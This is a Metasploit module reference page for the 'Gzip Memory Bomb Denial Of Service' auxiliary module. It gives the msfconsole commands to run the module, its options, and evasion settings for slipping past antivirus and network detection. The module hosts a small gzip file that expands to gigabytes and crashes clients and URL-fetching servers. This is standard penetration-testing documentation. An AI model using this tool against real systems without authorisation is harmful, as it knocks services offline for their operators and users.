Gzip Memory Bomb Denial Of Service - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/gzip_bomb_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Gzip Memory Bomb Denial Of Service
Module: auxiliary/dos/http/gzip_bomb_dos
Source code: modules/auxiliary/dos/http/gzip_bomb_dos.rb
Disclosure date: 2004-01-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB. Many applications will not implement a length limit check and will eat up all memory and eventually die. This can also be used to kill systems that download/parse content from a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc). A FILEPATH datastore option can also be provided to save the .gz bomb locally. Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value) will generate a 300 byte gzipped file that expands to 10GB.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/dos/http/gzip_bomb_dos
msf auxiliary(gzip_bomb_dos) > exploit

Go back to menu.

Msfconsole Usage


Here is how the dos/http/gzip_bomb_dos auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/gzip_bomb_dos

msf6 auxiliary(dos/http/gzip_bomb_dos) > show info

       Name: Gzip Memory Bomb Denial Of Service
     Module: auxiliary/dos/http/gzip_bomb_dos
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2004-01-01

Provided by:
  info <[email protected]>
  joev <[email protected]>

Available actions:
  Name       Description
  ----       -----------
  WebServer  Host file via web server

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  CONTENT_TYPE  text/html        no        Content-Type header to serve in the response
  ROUNDS        1                yes       Rounds of gzip compression. Some applications (FF) support > 1.
  SIZE          10240            yes       Size of uncompressed data in megabytes (10GB default).
  SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT       8080             yes       The local port to listen on.
  SSL           false            no        Negotiate SSL for incoming connections
  SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                        no        Path of URI on server to the gzip bomb (default is random)

Description:
  This module generates and hosts a 10MB single-round gzip file that 
  decompresses to 10GB. Many applications will not implement a length 
  limit check and will eat up all memory and eventually die. This can 
  also be used to kill systems that download/parse content from a 
  user-provided URL (image-processing servers, AV, websites that 
  accept zipped POST data, etc). A FILEPATH datastore option can also 
  be provided to save the .gz bomb locally. Some clients (Firefox) 
  will allow for multiple rounds of gzip. Most gzip utils will 
  correctly deflate multiple rounds of gzip on a file. Setting 
  ROUNDS=3 and SIZE=10240 (default value) will generate a 300 byte 
  gzipped file that expands to 10GB.

References:
  http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html

Module Options


This is a complete list of options available in the dos/http/gzip_bomb_dos auxiliary module:

msf6 auxiliary(dos/http/gzip_bomb_dos) > show options

Module options (auxiliary/dos/http/gzip_bomb_dos):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CONTENT_TYPE  text/html        no        Content-Type header to serve in the response
   ROUNDS        1                yes       Rounds of gzip compression. Some applications (FF) support > 1.
   SIZE          10240            yes       Size of uncompressed data in megabytes (10GB default).
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL for incoming connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        Path of URI on server to the gzip bomb (default is random)

Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Host file via web server

Advanced Options


Here is a complete list of advanced options supported by the dos/http/gzip_bomb_dos auxiliary module:

msf6 auxiliary(dos/http/gzip_bomb_dos) > show advanced

Module advanced options (auxiliary/dos/http/gzip_bomb_dos):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   SendRobots      false            no        Return a robots.txt file if asked for one
   URIHOST                          no        Host to use in URI (useful for tunnels)
   URIPORT                          no        Port to use in URI (useful for tunnels)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/http/gzip_bomb_dos module can do:

msf6 auxiliary(dos/http/gzip_bomb_dos) > show actions

Auxiliary actions:

   Name       Description
   ----       -----------
   WebServer  Host file via web server

Evasion Options


Here is the full list of possible evasion options supported by the dos/http/gzip_bomb_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/gzip_bomb_dos) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • info[at]aerasec.de
  • joev

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.